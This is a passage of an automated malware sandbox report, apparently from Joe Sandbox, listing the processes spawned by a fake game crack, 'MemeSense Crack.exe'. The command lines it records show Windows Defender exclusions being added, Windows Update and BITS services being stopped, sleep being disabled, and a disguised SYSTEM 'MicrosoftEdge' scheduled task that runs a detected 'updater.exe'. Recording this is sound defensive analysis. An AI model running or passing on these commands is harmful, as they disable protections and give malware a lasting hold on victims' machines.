Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff63a830000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	05:15:49
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:15:53
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	05:16:02
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: MpCmdRun.exePID: 6500, Parent PID: 7796

General

Target ID:	49
Start time:	05:16:02
Start date:	15/06/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff658320000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:16:02
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 460, Parent PID: 2092

General

Target ID:	51
Start time:	05:16:03
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1068, Parent PID: 2092

General

Target ID:	52
Start time:	05:16:03
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1076, Parent PID: 2092

General

Target ID:	53
Start time:	05:16:04
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: SystemSettings.exePID: 4512, Parent PID: 804

General

Target ID:	54
Start time:	05:16:04
Start date:	15/06/2024
Path:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
Imagebase:	0x7ff768cc0000
File size:	98'104 bytes
MD5 hash:	3CD3CD85226FCF576DFE9B70B6DA2630
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	05:16:05
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 8164, Parent PID: 656

General

Target ID:	56
Start time:	05:16:06
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	05:16:07
Start date:	15/06/2024
Path:	C:\Windows\System32\VSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\vssvc.exe
Imagebase:	0x7ff66a5d0000
File size:	1'495'040 bytes
MD5 hash:	875046AD4755396636A68F4A9EDB22A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	05:16:07
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k swprv
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	05:16:08
Start date:	15/06/2024
Path:	C:\Program Files\Microsoft\Edge\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft\Edge\updater.exe"
Imagebase:	0x7ff6f8e00000
File size:	6'028'664 bytes
MD5 hash:	8CD62E3ECE85C4C3E9F6F7C816256ADF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Analysis Process: powershell.exePID: 2576, Parent PID: 4380

General

Target ID:	62
Start time:	05:16:09
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	05:16:09
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1204, Parent PID: 2092

General

Target ID:	64
Start time:	05:16:11
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: cmd.exePID: 6884, Parent PID: 4380

General

Target ID:	65
Start time:	05:16:13
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 7916, Parent PID: 6884

General

Target ID:	66
Start time:	05:16:13
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 7756, Parent PID: 6884

General

Target ID:	67
Start time:	05:16:13
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1260, Parent PID: 2092

General

Target ID:	68
Start time:	05:16:13
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: sc.exePID: 3356, Parent PID: 6884

General

Target ID:	69
Start time:	05:16:14
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 6760, Parent PID: 6884

General

Target ID:	70
Start time:	05:16:14
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 5756, Parent PID: 6884

General

Target ID:	71
Start time:	05:16:14
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 7328, Parent PID: 6884

General

Target ID:	72
Start time:	05:16:14
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: cmd.exePID: 6584, Parent PID: 4380

General

Target ID:	73
Start time:	05:16:15
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 6592, Parent PID: 6584

General

Target ID:	74
Start time:	05:16:15
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 3364, Parent PID: 6584

General

Target ID:	75
Start time:	05:16:15
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: dialer.exePID: 3432, Parent PID: 4380

General

Target ID:	76
Start time:	05:16:15
Start date:	15/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff710bd0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	05:16:15
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powershell.exePID: 5248, Parent PID: 4380

General

Target ID:	78
Start time:	05:16:16
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 3996, Parent PID: 5248

General

Target ID:	79
Start time:	05:16:16
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: powercfg.exePID: 3752, Parent PID: 6584

General

Target ID:	80
Start time:	05:16:16
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1352, Parent PID: 3432

General

Target ID:	81
Start time:	05:16:16
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: powercfg.exePID: 5888, Parent PID: 6584

General

Target ID:	82
Start time:	05:16:16
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1452, Parent PID: 3432

General

Target ID:	83
Start time:	05:16:18
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1512, Parent PID: 3432

General

Target ID:	84
Start time:	05:16:20
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1520, Parent PID: 3432

General

Target ID:	85
Start time:	05:16:20
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1528, Parent PID: 3432

General

Target ID:	86
Start time:	05:16:22
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1676, Parent PID: 3432

General

Target ID:	88
Start time:	05:16:25
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: MemeSense Crack.exePID: 3812, Parent PID: 4380

General

Target ID:	89
Start time:	05:16:26
Start date:	15/06/2024
Path:	C:\Users\user\Desktop\meme crack\MemeSense Crack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\meme crack\MemeSense Crack.exe"
Imagebase:	0x400000
File size:	9'601'024 bytes
MD5 hash:	8C7DC697B3BE09F1D66A29A31A8C6C46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	05:16:28
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1780, Parent PID: 3432

General

Target ID:	91
Start time:	05:16:30
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1800, Parent PID: 3432

General

Target ID:	92
Start time:	05:16:34
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: cli_gui.exePID: 7260, Parent PID: 3812

General

Target ID:	93
Start time:	05:16:37
Start date:	15/06/2024
Path:	C:\Users\user\AppData\Local\Temp\cli_gui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Imagebase:	0x7ff70d630000
File size:	22'528 bytes
MD5 hash:	82EE19ED134912BE0FE2000CAF6421C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	94
Start time:	05:16:37
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	95
Start time:	05:16:37
Start date:	15/06/2024
Path:	C:\Users\user\AppData\Local\Temp\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\updater.exe"
Imagebase:	0x7ff7a66b0000
File size:	6'028'664 bytes
MD5 hash:	8CD62E3ECE85C4C3E9F6F7C816256ADF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1808, Parent PID: 3432

General

Target ID:	96
Start time:	05:16:38
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: powershell.exePID: 1172, Parent PID: 4380

General

Target ID:	97
Start time:	05:16:38
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	05:16:38
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1964, Parent PID: 3432

General

Target ID:	99
Start time:	05:16:38
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 2004, Parent PID: 3432

General

Target ID:	100
Start time:	05:16:41
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: cmd.exePID: 4348, Parent PID: 4380

General

Target ID:	101
Start time:	05:16:42
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 3652, Parent PID: 4348

General

Target ID:	102
Start time:	05:16:42
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 7780, Parent PID: 4348

General

Target ID:	103
Start time:	05:16:42
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 6916, Parent PID: 4348

General

Target ID:	104
Start time:	05:16:42
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 4244, Parent PID: 4348

General

Target ID:	105
Start time:	05:16:43
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 6620, Parent PID: 4348

General

Target ID:	106
Start time:	05:16:43
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
